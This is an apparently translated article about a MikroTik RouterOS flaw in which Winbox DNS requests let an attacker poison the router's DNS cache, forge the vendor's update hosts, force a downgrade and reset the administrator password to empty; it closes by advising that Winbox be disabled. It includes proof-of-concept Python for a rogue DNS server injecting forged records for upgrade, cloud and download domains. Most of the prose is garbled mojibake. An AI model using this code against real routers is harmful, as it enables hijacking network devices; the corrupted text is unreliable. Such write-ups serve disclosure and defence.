RouterOS (Mikrotik) แแแแแแ แแแคแฃแซแแแแฃแแ แแแฌแงแแแแแแแแแแก แแแกแขแแแชแแฃแ แแ แจแแแชแแ แแแแก แจแแกแแซแแแแแแแ แกแแคแ แแฎแแจแ แแงแแแแแก แแกแแแแ แแแแกแ แฅแกแแแแก แแแฌแงแแแแแแแแก. แแแฃแชแแแแแแ แแแแแแจแแ แแแฃแแแ Winbox แแ แแขแแแแแแก DNS แฅแแจแแก แแแฌแแแแแแกแแแ แแ แกแแจแฃแแแแแแก แแแซแแแแ แฉแแขแแแ แแแ แแแซแแแแแแฃแแ (แแแ แแแแก แแแแฃแแแกแฎแแแแ แแแแแขแแแ แแแแ) แแ แจแแชแแแแแ แแ แแแ แแแฃแแ แฃแแ แฃแแแแแงแแคแ แแแฌแงแแแแแแแแแ.
แแแฃแชแแแแแแแก แแแขแแแแแ
RouterOS แขแแ แแแแแแ แแฎแแ แก แฃแญแแ แก แแแแแญแ แแก แแ แซแแแแแแก DNS แกแแซแแแแแแ.
แแ แแแแฎแแแแแก แแแแแฎแแแแแก แแแแแ แฃแแ แกแแกแขแแแ, แ แแแแแกแแช แแฌแแแแแ แแแแแแฌแงแแแขแ. Resolver แแ แแก แแ แ-แแ แแ แแ แแแแแ แแแแแ แแแแ, แ แแแแแแช แฃแแแแจแแ แแแแ RouterOS-แแก Winbox แแ แแขแแแแแก. แแแฆแแ แแแแแแ, Winbox-แแก แแแ แขแจแ แแแแแแแแแแ โแจแแขแงแแแแแแแแแโ แจแแแซแแแแ แแแแแแแแแก RouterOS-แแก แกแฎแแแแแกแฎแแ แแแแแ แแแจแ, แแแกแแแแ แแแคแฃแซแแแแฃแแ แแฃแแแ แแชแแแก แกแฅแแแแก แกแแคแฃแซแแแแแ.
แแแแฃแแแกแฎแแแแแ, RouterOS-แก แแฅแแก DNS แกแแ แแแ แแก แคแฃแแฅแชแแ แแแแแ แแฃแแ.
แแฃแแชแ, แแแจแแแแช แแ, แ แแแแกแแช แกแแ แแแ แแก แคแฃแแฅแชแแ แแแแแ แแฃแแแ, แ แแฃแขแแ แ แแแแฎแแแก แกแแแฃแแแ DNS แฅแแจแก.
แ แแแแกแแช แฉแแแ แแแแแแแแ แแแแฎแแแแแก winbox_dns_request แแแแแงแแแแแแ, แแแแแแแแแ, example.com, แ แแฃแขแแ แ แฅแแจแแก แจแแแแแก.
แแแแแแแแ แฉแแแ แจแแแแแซแแแ แแแแแกแแแฆแแ แแ DNS แกแแ แแแ แ, แ แแแแแก แแแจแแแแแแแแช แฃแแแ แฌแแแแแแก แแแแฎแแแแ, แแ แแกแฌแแ แ แแแกแแแแ แแแแแก แจแแงแแแแ แขแ แแแแแแฃแ แแ. แแแแแแแแแ, แจแแแแซแแแแ แแแแแแแคแแแฃแ แแ แแ DNS แกแแ แแแ แแก แแแแฎแแ แชแแแแแแ
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
แแฎแแ แแฃ แแแซแแแแแ แแแแแแแแแ.com Winbox-แแก แแแแแงแแแแแแ, แฎแแแแแ, แ แแ แ แแฃแขแแ แแก DNS แฅแแจแ แแแฌแแแแฃแแแ.
แ แ แแฅแแ แฃแแแ, poisoning example.com แแ แแ แแก แซแแแแแ แกแแกแแ แแแแแ, แ แแแแแ แ แแฃแขแแ แ แแแก แ แแแแฃแ แแ แแ แแแแแแงแแแแแก. แแฃแแชแ, แ แแฃแขแแ แก แกแญแแ แแแแ แฌแแแแแ upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com แแ download.mikrotik.com. แแ แแแแแ แแ แแ แจแแชแแแแแก แฌแงแแแแแแ, แจแแกแแซแแแแแแแ แแแแ แแ แแแ แแฃแแแ แแแฌแแแแแ.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
แ แแฃแขแแ แ แแแฎแแแก แแ แ แแแแแ แแแแก แแ แฉแแแ แแแซแแแแ แฎแฃแแก แฃแแแ. แ แแฃแขแแ แ แแ แแแแฎแแแก แงแแแแ แแ แแแกแฃแฎแก แกแฌแแ แแ.
แชแฎแแแแ, แแก แจแแขแแแ แแกแแแ แกแแกแแ แแแแแแ, แแฃ แ แแฃแขแแ แ แแแฅแแแแแแก แ แแแแ แช DNS แกแแ แแแ แ, แ แแแแแ แแก แกแแจแฃแแแแแแก แแซแแแแก แ แแฃแขแแ แแก แแแแแแขแแแก แแแแแแกแฎแแ แแแแฎแแแแแ.
แแก แแแแแแกแฎแแ แแกแแแ แกแแจแฃแแแแแแก แแแซแแแแ แแแแแแงแแแแ แฃแคแ แ แกแแ แแแแฃแแ แแแฃแชแแแแแแ: แจแแแแแแแ แแ แแแแแ แฃแแแ RouterOS-แแก แแแ แกแแ. แแแแแแแกแฎแแแแ แฎแแแแฎแแ แฅแแแแก แแแแแฎแแแแแก แกแแ แแแ แแก แแแแแแแก, แชแแแแแแแแแแก แแฃแ แแแแแก แฉแแแแแแ, แแ แแแซแฃแแแแก RouterOS-แก แแฆแแฅแแแก แแแซแแแแแแฃแแ (แแแฃแชแแแแ) แแแ แกแแ, แ แแแแ แช แแแแแแแแ แ. แกแแจแแจแ แแแแ แแฅ แแแแแแแ แแแแก แแแแจแ, แ แแ แแแ แกแแแก "แแแแแฎแแแแแกแแก", แแแแแแแกแขแ แแขแแ แแก แแแ แแแ แแฆแแแแแ แแแแฃแแแกแฎแแแ แแแแจแแแแแแแแแแ - แแแแแแแกแฎแแแแก แจแแฃแซแแแ แกแแกแขแแแแจแ แจแแกแแแ แชแแ แแแแ แแแ แแแแ!
แจแแขแแแ แกแแแแแแ แแฃแจแแแแก, แแแฃแฎแแแแแแ แแแแกแ, แ แแ
แแแชแแแก
Winbox-แแก แฃแแ แแแแ แแแแแ แแแ แกแแจแฃแแแแแแก แแแซแแแแ แแแแชแแแ แแแแ แแ แจแแขแแแแแแกแแแ. Winbox-แแก แกแแจแฃแแแแแแ แแแแแแแกแขแ แแ แแแแก แแแฎแแ แฎแแแฃแแแแแก แแแฃแฎแแแแแแ, แฃแแฏแแแแกแแ แแแแแแงแแแแ SSH แแ แแขแแแแแ.
แฌแงแแ แ: www.habr.com